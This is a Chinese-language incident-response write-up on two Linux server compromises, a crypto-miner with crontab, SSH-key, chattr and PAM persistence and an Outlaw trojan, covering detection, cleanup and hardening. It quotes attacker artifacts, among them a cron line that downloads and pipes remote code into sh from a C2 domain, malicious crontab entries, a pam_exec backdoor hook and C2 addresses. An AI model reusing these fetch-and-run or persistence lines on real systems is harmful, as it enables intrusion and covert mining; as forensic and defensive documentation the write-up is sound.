根因: 攻击者通过 ~/.ssh/rcLD_PRELOAD 劫持了 Shell 环境,使得 ls 输出不区分颜色(隐藏文件与普通文件混在一起),且阻断了 readdir() 系统调用,使隐藏目录不可见。

自救方法:

# 重新启动干净的 bash(绕过被污染的 rc 文件)
/bin/bash --norc --noprofile

执行后 ls 恢复颜色,ll 可用,隐藏的挖矿文件 .kswapd00 立即可见。

11.4 第三阶段:挖矿进程伪装

受害服务器上发现的恶意进程:

伪装进程名模仿对象真实路径行为
kauditd0内核审计线程 kauditd~/.configrc7/a/kswapd00占用几十个 CPU 线程,每个 100%
.kswapd00内核交换线程 kswapd0/tmp/.kswapd002.2MB ELF 可执行文件,Miner 主程序

排查要点: 伪装的进程名与内核线程仅差 1-2 个字符(kswapd0kswapd00kauditdkauditd0),不仔细看极难发现。

# 确认真伪:内核线程的 exe 不存在
readlink /proc/$(pgrep kswapd0)/exe   # 无输出 → 真正的内核线程
readlink /proc/$(pgrep kswapd00)/exe  # /tmp/.kswapd00 → 伪装的挖矿程序
 
# 内核线程的 PID 普遍较小,且括号包裹
ps aux | grep -E '\[.*\]'

11.5 第四阶段:多层持久化

攻击者部署了三套独立的持久化机制,确保即使清理不彻底也能自动复活:

1. crontab(6 个恶意条目):

*/30 * * * * /tmp/.kswapd00                                     # 每 30 分钟执行 Miner
*/30 * * * * /root/.configrc7/a/kswapd00                        # 备用副本
5 6 */2 * 0 /root/.configrc7/a/upd                              # 每两周周日更新
@reboot /root/.configrc7/a/upd                                   # 开机自启
5 8 * * 0 /root/.configrc7/b/sync                               # 每周日同步
@reboot /root/.configrc7/b/sync                                  # 开机自启
0 0 */3 * * /tmp/.X291-unix/.rsync/c/aptitude                   # 每 3 天一次

关键模式:

  • 多个目录存放副本(/tmp/~/.configrc7/a/~/.configrc7/b//tmp/.X291-unix/
  • @reboot 保证重启后复活
  • 更新器和同步器保证版本迭代

2. 目录命名伪装:

路径伪装对象
~/.configrc7/仿 ~/.configrc(bash 配置目录)
/tmp/.X291-unix/仿 /tmp/.X11-unix/(X Window 合法目录)

3. authorized_keys 植入 + 文件锁:

# authorized_keys 中被追加的攻击者公钥(comment 为 "mdrfckr")
cat ~/.ssh/authorized_keys
# ssh-rsa AAAAB3NzaC1... mdrfckr
 
# 尝试清空 → Operation not permitted
> ~/.ssh/authorized_keys
# bash: authorized_keys: Operation not permitted
 
# 原因:被 chattr +ia 双锁(immutable + append-only)
lsattr ~/.ssh/authorized_keys
# ----ia-------e-- ~/.ssh/authorized_keys
 
# 连 .ssh 目录本身也被双锁,导致 known_hosts 无法创建
lsattr -d ~/.ssh
# ----ia-------e-- /root/.ssh
touch ~/.ssh/known_hosts
# touch: setting times of 'known_hosts': No such file or directory

解锁操作(必须 -ia 一起解,单独 -i 不够):

chattr -ia ~/.ssh/authorized_keys
chattr -ia ~/.ssh/
> ~/.ssh/authorized_keys

11.6 清理步骤

按以下顺序执行,避免残留:

# 1. 停止伪装的内核线程
kill -9 $(pgrep -f kswapd00) 2>/dev/null
kill -9 $(pgrep kauditd0) 2>/dev/null
 
# 2. 清理 crontab 恶意条目(确认最后一行正常脚本后注释或删除)
crontab -e
# 删除或注释所有非预期行,保留 @reboot /bin/bash /root/video-api-pre/startup.sh start
 
# 3. 解除文件双层锁并清空 hostile key
chattr -ia /root/.ssh/authorized_keys /root/.ssh/
> /root/.ssh/authorized_keys
rm -f /root/.ssh/rc /root/.ssh/environment
 
# 4. 删除所有恶意文件与目录
rm -rf /root/.configrc7
rm -f /tmp/.kswapd00
rm -rf /tmp/.X291-unix
# 注意:先打包保留证据
tar -czf /root/configrc7.tar.gz /root/.configrc7
 
# 5. 检查并移除 LD_PRELOAD
cat /etc/ld.so.preload && > /etc/ld.so.preload
unset LD_PRELOAD
 
# 6. 重建 known_hosts(修复跳板机指纹问题)
touch /root/.ssh/known_hosts
 
# 7. 立即加固 SSH(禁用密码 + root 登录)
sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd

11.7 第五阶段:PAM 会话钩子(深层持久化)

清理完文件、crontab、authorized_keys 后,新建 SSH 连接发现 shell 仍被污染——这是最让人崩溃的时刻。此时发现了一条被遗漏的 PAM 配置行:

session optional pam_exec.so quiet /usr/bin/watching

/usr/bin/watching 分析:

file /usr/bin/watching
# ELF 64-bit LSB executable, statically linked, not stripped, 990KB
 
# 关键字符串特征
strings /usr/bin/watching | grep -E 'LD_PRELOAD|/proc/self|execve|dlopen'
# 输出包含 LD_PRELOAD、/proc/self/maps、__execve 等,证明它有进程注入能力

此文件在每次 SSH 登录和退出时由 PAM session 栈触发,是攻击者用于在新 shell 中持续注入代码的入口。

移除:

sed -i '/\/usr\/bin\/watching/d' /etc/pam.d/sshd
rm -f /usr/bin/watching

移除后重连 SSH,shell 仍旧污染——说明还有其他污染源,继续排查。

11.8 第六阶段:.bash_profile 截断(误判解除)

重新排查后发现污染的 shell 中 alias 完全为空、LS_COLORS 未设置,但通过 /bin/bash 启动的子 shell 一切正常。

根因: /root/.bash_profile 只有一行:

ulimit -HSn 65535

Ubuntu 的 login shell 加载顺序:/etc/profile~/.bash_profile(如果存在则跳过 ~/.profile)→ .bashrc(需手动 source)。

.bash_profile 存在但不 source .bashrc,导致所有 alias 和 color 配置丢失。这不是攻击行为——文件创建于入侵之前,是运维部署时遗留的 ulimit 配置。

诊断命令:

# 判断是恶意劫持还是 init 链截断
echo "=== .bash_profile ===" && cat ~/.bash_profile
echo "=== 尾行检查 ===" && tail -3 ~/.bashrc
# 如果 .bash_profile 未调用 .bashrc → init 链截断
 
# 修复
echo 'if [ -f ~/.bashrc ]; then . ~/.bashrc; fi' >> ~/.bash_profile

11.9 完整归因表

现象阶段真实原因性质
SSH 密码爆破成功初始入侵root 弱密码 + 22 端口暴露真实攻击
CPU 100% / 进程名 kauditd0挖矿伪装内核线程的 Miner真实攻击
/tmp/.kswapd00 存在挖矿Miner 主程序(2.2MB ELF)真实攻击
~/.configrc7/a/kswapd00持久化Miner 备用副本 + 更新器真实攻击
6 个 crontab 条目持久化多层定时复活机制真实攻击
authorized_keys 有 hostile key后门攻击者公钥 “mdrfckr”真实攻击
.ssh 目录被 chattr +ia 锁死反清理阻止删除 hostile key真实攻击
旧 session 中文件”不可见”2 阶段旧 sshd (deleted) 内存级 getdents64 hook真实攻击
/usr/bin/watching + PAM 钩子2 阶段每次 SSH 登录执行恶意 ELF真实攻击
新 session 中 alias 丢失3 阶段.bash_profile 截断 init 链(运维残留)误判

11.10 经验总结

1. 攻击痕迹和运维残留可以同时存在,不要假设所有异常来自同一来源。

旧 session 的文件隐藏是真实攻击(内存 hook),新 session 的 alias 丢失是运维残留(.bash_profile 截断 init 链)。两者现象相似(都是 ls 无色),但根因完全不同。诊断时用 /bin/bash 子 shell 做对照是最快的区分手段:如果子 shell 恢复正常,问题在 init 链而非内存注入。

2. 排查顺序决定效率。 先查 env / alias / LD_PRELOAD(30 秒)→ 再查 bash 初始化链(1 分钟)→ 再查 PAM(1 分钟)→ 最后查内存级 hook(5 分钟)。按这个顺序,大部分情况在前两步就能定位。

3. PAM session 栈是攻击者最爱但管理员最忽略的攻击面。 每次排查都应执行 grep -rn 'pam_exec\|/usr/bin\|/bin/' /etc/pam.d/sshd

4. 被 root 入侵过的机器,唯一安全的选择仍是重装系统。 即使清理了所有已知文件,攻击者可能留下了未知的内核模块、Firmware rootkit 或被 patch 的系统二进制。

清理后的持续风险

如果仅删除文件但不加固 SSH,攻击者在以下时机可以重新入侵:

  1. crontab 未清理 → Miner 每 30 分钟从 /tmp/.kswapd00 复活
  2. authorized_keys 未清空 → 攻击者通过公钥免密登录
  3. SSH 密码登录未禁用 → 爆破继续,二次沦陷
  4. LD_PRELOAD 未清除 → 即使清理了文件,lstop 仍然被劫持

结论: 手动清理只是临时措施。被 root 权限入侵过的机器,唯一安全的选择是重装系统


11.11 案例二:Outlaw 木马与 ls 性能异常的排查全过程

症状: cd /opt && ls 执行耗时 30+ 秒,其他目录正常;两个月前清理过一次木马但未彻底根除。

时间线: 2026-06-29,历时 3 小时完成清理。

问题表象

用户报告在 /opt 目录执行 ls 时响应极慢,而在 /root 等其他目录正常。初步怀疑是目录本身问题,但通过 strace 分析发现:

# strace 抓取 ls 的系统调用
strace -tt -T ls /opt 2>&1 | tail -50

关键发现: ls 在读取每个文件的前 5 字节时(用于着色判断文件类型)出现 10-20ms 的延迟,50 个文件累积延迟超过 30 秒。这不是目录问题,而是 /usr/bin/ls 二进制被篡改

排查过程

第一阶段:发现木马进程

# 查找 CPU 异常进程
ps -eo pid,ppid,user,etime,comm,cmd | grep -E "kswap|edac"
 
# 发现三个看门狗进程:
# PID 2430541: edac0 (伪装内核线程,实为 Perl IRC 后门)
# PID 1236: sshd → [kworker/88:9] (伪装 sshd,exe 指向 /usr/lib/sshd)
# PID 1502902: 同上第二个实例

识别真伪的关键:

# 真正的内核线程 PPID 必为 2(kthreadd)且无 exe
ps -eo pid,ppid,comm | grep edac
# 363  2  edac-poller  ← 真正的内核线程
 
# 伪装的恶意进程 PPID 为 1 且有 exe
ls -la /proc/2430541/exe
# lrwxrwxrwx 1 root root 0 → /usr/bin/perl  ← 用户态程序伪装
 
readlink /proc/1236/exe
# /usr/lib/sshd  ← 不在系统标准路径,且 dpkg 查不到包
dpkg -S /usr/lib/sshd
# dpkg-query: no path found matching pattern

第二阶段:发现持久化机制

1. /etc/cron.hourly/0 持续重建

即使删除该文件,5 秒内又被重新创建,且带有 immutable 属性(连 root 也删不掉):

lsattr /etc/cron.hourly/0
# ----i---------e------- /etc/cron.hourly/0
 
# 文件内容(wget 从 C2 下载恶意代码)
cat /etc/cron.hourly/0
#!/bin/sh
wget --quiet http://cf0.pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

2. 多个看门狗交替重生

Kill 掉一个恶意进程后,另一个在几分钟内重新启动 /usr/lib/sshd

# 删除文件
rm -f /usr/lib/sshd
 
# 等待 5 分钟
ls -la /usr/lib/sshd
# -rwxr-xr-x 1 root root 4206056 Jun 29 17:20 /usr/lib/sshd
# 文件被重新创建!

3. 木马的对抗技术:目录内自动重生

当用目录替换文件时,木马立即在目录内生成同名文件并改名伪装:

mkdir /usr/lib/sshd  # 创建同名目录阻止文件重建
ls -la /usr/lib/sshd/
# total 4116
# -rwxr-xr-x  1 root root 4206056 Jun 29 17:39 nvme  ← 改名伪装成 NVMe 驱动

第三阶段:C2 服务器识别

通过 ssstrace 追踪到三个 C2 地址:

ss -tnp | grep -E "ESTAB|SYN-SENT"
# SYN-SENT 192.168.0.2:41736 → 45.148.10.163:22 (伪装 sshd 连接的真实 C2)
# ESTAB    192.168.0.2:xxxxx → 185.196.8.171:443 (edac0 的 IRC C2)
 
# 从 /etc/cron.hourly/0 提取的下载源
host cf0.pw
# cf0.pw has address 109.95.212.238

第四阶段:清理步骤

# 1. 封锁所有 C2 服务器
iptables -I OUTPUT -d 185.196.8.171 -j DROP
iptables -I OUTPUT -d 45.148.10.163 -j DROP
iptables -I OUTPUT -d 109.95.212.238 -j DROP
echo "0.0.0.0 cf0.pw" >> /etc/hosts
 
# 2. 保存 iptables 规则到 /etc/rc.local(持久化)
iptables-save > /etc/iptables.rules.final
cat > /etc/rc.local << 'EOF'
#!/bin/sh
ulimit -HSn 65535
if [ -f /etc/iptables.rules.final ]; then
    iptables-restore < /etc/iptables.rules.final
fi
exit 0
EOF
chmod +x /etc/rc.local
 
# 3. Kill 所有看门狗进程
kill -9 2430541 1236 1502902 1511491 1516697
 
# 4. 删除恶意文件(多次检查并清理改名副本)
chattr -iaA /usr/lib/sshd /usr/bin/nvme /usr/bin/.sshd /usr/bin/-bash /usr/bin/systemtd
rm -rf /usr/lib/sshd /usr/bin/nvme /usr/bin/.sshd /usr/bin/-bash /usr/bin/systemtd
rm -f /tmp/.kswapd00 /var/tmp/.kswapd00 /tmp/file*
 
# 5. 锁定 /usr/lib/sshd 防止重建(用空文件+immutable占位)
touch /usr/lib/sshd
chmod 000 /usr/lib/sshd
chattr +i /usr/lib/sshd
 
# 6. 处理 /etc/cron.hourly/0(用 bind mount 覆盖)
touch /tmp/empty_placeholder
mount --bind /tmp/empty_placeholder /etc/cron.hourly/0
 
# 7. 恢复被篡改的 /usr/bin/ls
apt-get install --reinstall coreutils -y
 
# 8. 验证清理效果
time ls /opt  # 应在 0.01 秒内完成
ps aux | grep -E "edac0|/usr/lib/sshd|nvme.*kworker" | grep -v grep
ss -tnp | grep -E "185.196|45.148|109.95"

技术细节与对抗手段

木马的高级特性

对抗技术实现方式绕过方法
文件系统监控未知守护进程(可能是内核模块)实时监控文件删除并重建用 immutable 空文件占位 + iptables 封锁 C2
进程伪装命令名显示为 [kworker/88:9],仿真内核工作线程检查 /proc/<pid>/exe 和 PPID
多点备份/usr/lib/sshd/usr/bin/nvme/usr/bin/.sshd 多处存放全局搜索相同 MD5
改名伪装当目录替换文件后立即在目录内生成 nvme(NVMe 驱动名)监控目录内新文件
持久化下载每小时从 cf0.pw 下载最新版本封锁域名 + IP

木马识别特征

# 1. 文件大小和 MD5(所有副本一致)
md5sum /usr/lib/sshd /usr/bin/nvme
# c376330305e9897ee3d1953ccf1eb8ce
 
# 2. 文件类型
file /usr/lib/sshd
# ELF 64-bit LSB executable, statically linked, stripped
 
# 3. UPX 打包特征
strings /tmp/.kswapd00 | grep -i upx
# $Info: This file is packed with the UPX executable packer http://upx.sf.net $
 
# 4. 网络连接特征
ss -tnp | grep sshd
# SYN-SENT (一直尝试连接但因 iptables 被阻断)

清理验证

# 最终状态检查
echo "恶意进程: $(ps aux | grep -c -E 'edac0|/usr/lib/sshd|kswapd00')"
# 恶意进程: 0
 
echo "恶意文件: $(find /tmp /var/tmp /usr/lib /usr/bin -name '*kswapd*' -o -name 'nvme' -o -name '.sshd' 2>/dev/null | wc -l)"
# 恶意文件: 0
 
echo "C2 连接: $(ss -tn | grep -c -E '185.196|45.148|109.95')"
# C2 连接: 0
 
echo "ls 性能:"
time ls /opt
# real    0m0.002s  ← 恢复正常

经验总结

1. 系统文件篡改的识别

ls 慢不一定是目录问题,可能是工具本身被替换。验证方法:

# 对比包管理器记录
dpkg --verify coreutils 2>&1 | grep /bin/ls
# ??5?????? /usr/bin/ls  ← "5" 表示 MD5 不匹配
 
# 恢复
apt-get install --reinstall coreutils

2. 木马看门狗的识别模式

  • 进程名伪装[kworker/88:9]edac0(与内核线程仅差 1 个字符)
  • PPID 检查:真内核线程 PPID=2,伪装进程 PPID=1
  • exe 路径:真内核线程无 exe,伪装进程指向非标准路径

3. 持久化机制的彻底清除

单次删除文件无效,必须同时:

  • 封锁 C2 网络通信(iptables + hosts)
  • Kill 所有看门狗进程
  • 删除所有副本和改名文件
  • 用 immutable 文件占位防止重建
  • 恢复被篡改的系统工具

4. 两次入侵未根除的教训

本案例中木马在两个月前被清理过一次,但因:

  • 未封锁 C2 服务器
  • 未恢复被篡改的系统工具
  • 未锁定关键路径
  • 可能存在未检测到的内核级后门

导致木马通过 cron.hourly 下载机制复活。

根本解决方案:重装系统。 存在未知文件系统监控机制(可能是内核模块或 firmware rootkit),手动清理无法保证彻底。

恶意样本保存

ls -lh /root/malware_samples_20260629/
# -rw-r--r-- 1 root root 2.2M  configrc7.tar.gz       (工具包)
# -rwxr-xr-x 1 root root 2.2M  .kswapd00              (挖矿主程序)
# -rwxr-xr-x 1 root root 4.0M  sshd                   (伪装 sshd)
# -rwx------ 1 root root 3.3M  fileanleG6             (临时 payload)
# -rw-r--r-- 1 root root  82   edac0_strings.txt      (内存字符串)

加固建议

# 1. SSH 安全
sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/^#*PermitRootLogin.*/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
systemctl restart sshd
 
# 2. 定期完整性检查
cat > /root/security_check.sh << 'EOF'
#!/bin/bash
{
    echo "=== $(date) ==="
    dpkg --verify coreutils openssh-server | grep -v 'OK$'
    ps aux | grep -E "kswap|edac0|nvme.*kworker" | grep -v grep
    ss -tnp | grep -E "185.196|45.148|109.95"
    find /tmp /var/tmp /usr/lib /usr/bin -name "*kswap*" -o -name ".sshd"
} >> /var/log/security_check.log 2>&1
EOF
chmod +x /root/security_check.sh
(crontab -l; echo "0 3 * * * /root/security_check.sh") | crontab -
 
# 3. 监控关键路径
# 安装 auditd 监控 /usr/lib 和 /usr/bin 的文件创建
apt install auditd -y
auditctl -w /usr/lib/ -p wa -k suspicious_binaries
auditctl -w /usr/bin/ -p wa -k suspicious_binaries